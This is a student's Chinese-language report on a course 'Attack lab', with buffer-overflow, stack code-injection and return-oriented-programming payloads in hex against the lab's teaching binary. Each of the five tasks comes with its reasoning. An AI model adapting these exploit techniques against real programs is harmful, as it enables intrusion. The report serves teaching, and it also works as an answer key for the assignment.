ICS Lab2 Attack Report

ICS Lab2 Attack lab实验报告

张凯文 2021010729 计12班 2022年12月2日

Task 1: 直接跳转到无参数函数

答案

1
2
3
4
5
6
7
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
d9 1b 40 00 00 00 00 00 /* touch1的地址,64位,小端法表示 */

原理

Gets函数返回后,%rsp的值减去0x18,所指向的原返回地址被重写为touch1的地址,因此ret后会跳到touch1执行。

遇到过的问题

0x18是16进制数,代表的十进制数是24而不是18。

注:栈帧构造示意图统一见附页

Task 2: 在栈上注入代码实现传参

答案

1
2
3
4
5
6
48 c7 c7 d5 ef 76 7b       /* movq $0x7b76efd5,%rdi */
68 0d 1c 40 00 /* pushq $0x401c0d */
c3 /* retq */
00 00 00 00 00
00 00 00 00 00 00
58 2a 62 55 00 00 00 00 /* 注入代码在栈中的起始地址 */

注入代码说明

1
2
3
movq $0x7b76efd5,%rdi  # 将cookie放入%rdi作为touch2的参数传入
pushq $0x401c0d # 将touch2的地址压入栈中
retq # 栈弹出栈顶元素将%rip设置到栈顶指定返回地址

原理

同上理,由于将原返回地址修改为了注入代码的起始地址,函数返回后会执行注入的代码,通过注入代码将unsigned类型参数cookie存入%rdi,再将touch2的地址压栈,跳到touch2地址,实现传参。

遇到过的问题

需要通过gdbinfo registersprint $rsp/$rdi得到注入代码在栈中的起始地址。

Task 3: 在栈上存储参数,实现指针类型的参数传递

答案

1
2
3
4
5
6
7
48 c7 c7 78 2a 62 55      /* movq  $0x55622a78,%rdi */
68 32 1d 40 00 /* pushq $0x401d32 */
c3 /* retq */
00 00 00 00 00
00 00 00 00 00 00
58 2a 62 55 00 00 00 00
37 62 37 36 65 66 64 35 /* cookie的十六进制ASCII码 */

注入代码说明

1
2
3
movq  $0x55622a78,%rdi    # 将cookie的十六进制ASCII码存储在0x55622a70(原来返回地址再上面8个字节)
pushq $0x401d32 # 将touch3的地址压入栈中
retq # 调用touch3

原理

基本原理与Task 2类似,只是需要注意在原返回地址更高位的地址上存储cookie的十六进制ASCII码(字符串表示),避免在后续调用函数时被覆盖。

Task 4: ROP方式攻击

答案

1
2
3
4
5
6
7
8
9
10
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
ea 1d 40 00 00 00 00 00 /* 跳到Gadget code 1: 58 c3 popq %rax */
d5 ef 76 7b 00 00 00 00 /* cookie,被pop到%rax */
f2 1d 40 00 00 00 00 00 /* 跳到Gadget code 2: 48 89 c7 c3 movq %rax,%rdi */
0d 1c 40 00 00 00 00 00 /* 跳到touch2 */

原理与构造思路

在栈上依次存储Gadget Code的地址,每执行完一段Gadget Code后通过ret指令使%rsp指向的地址-0x08,从而继续跳转到下一段Gadget Code的地址执行相应指令,以此达到自己的目的。

本题构造目标很明确:就是要将参数cookie存入%rdi中实现传参。为此我首先在所给的Gadget farm中用Ctrl+F检索了5f,但没有找到符合要求的popq %rdi指令;因此我转而检索了包含48 89的指令,定位到一条满足要求的机器指令movq %rax,%rdx,说明先要将参数存入%rax中再转入%rdi,因此我进一步把通过检索58找到了符合要求的popq %rax的机器指令。此时思路就很清晰了:只需将cookie存在栈上适当位置,通过popq存到%rax中,进而拷贝到%rdi中,再调用touch2函数,即可实现传参。

Task 5: 包含指针参数传递的ROP攻击

答案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
ea 1d 40 00 00 00 00 00 /* popq %rax */
20 00 00 00 00 00 00 00 /* %rax = 0x20 */
9c 1e 40 00 00 00 00 00 /* %eax -> %edx */
51 1e 40 00 00 00 00 00 /* %edx -> %ecx */
87 1f 40 00 00 00 00 00 /* %ecx -> %esi */
48 1f 40 00 00 00 00 00 /* %rsp -> %rax,将当前栈顶地址存到%rax,注意%rsp指向下一行起点! */
f2 1d 40 00 00 00 00 00 /* %rax -> %rdi */
42 1e 40 00 00 00 00 00 /* add_xy: %rax = %rdi + %rsi */
f2 1d 40 00 00 00 00 00 /* %rax -> %rdi */
32 1d 40 00 00 00 00 00 /* touch3 */
37 62 37 36 65 66 64 35 /* cookie的十六进制ASCII码 */

注:上述注释给出的是跳转到对应Gadget Code后执行的实际操作(其中包含一条栈上存储的数据段)。

原理与构造思路

本题需要向%rdi中保存栈上存储的cookie的地址,但栈的地址在每次执行时都可能不同,因此唯一能得到栈上地址信息的办法就是将%rsp的值保存到寄存器中,再加上适当的偏移量offset,得到cookie字符串在栈上的地址。

为此我首先通过检索89找出了所有已有的可以使用的movlmovq指令,发现只能将%rsp的值保存到%rax中,因此同Task 4的道理再进行一次转移即可。

问题在于如何加上offset呢?handout中没有给出addsub相关的指令机器码,只能从Gadget farm中找答案,此时会惊喜地发现Gadget farm中提供了add_xy这个特殊的函数,恰好能够实现加法操作:%rax = %rdi + %rsi。因此此时只需要想办法将offset存入%rsi中即可。通过罗列出所有可用的mov指令,不难找到这样一条转移关系,如注释中所展示的那样。

最后,将所有Gadget Code地址依次填好,通过计算%rsp存储的栈地址与栈上存放的cookie字符串码地址的字节数之差,即可确定offset的值。

遇到过的困难

  1. 在没有发现通过add_xy实现加法之前,为如何实现offset的记录苦思冥想了很久;
  2. 将当前栈顶地址存到%rax时需要注意,在执行某一段Gadget Code时,%rsp指向的是下一段地址起点(当前Gadget Code在栈中的地址地址再高8字节的地址)。

附录:栈帧构造示意图

见下页。

注:Task 5栈帧构造与寄存器之间的数据转移关系较为复杂,但基本原理与Task 4相近,且构造思路和具体执行流程都已在报告和代码注释中给予了详细清晰的说明,因此不再额外附图解释。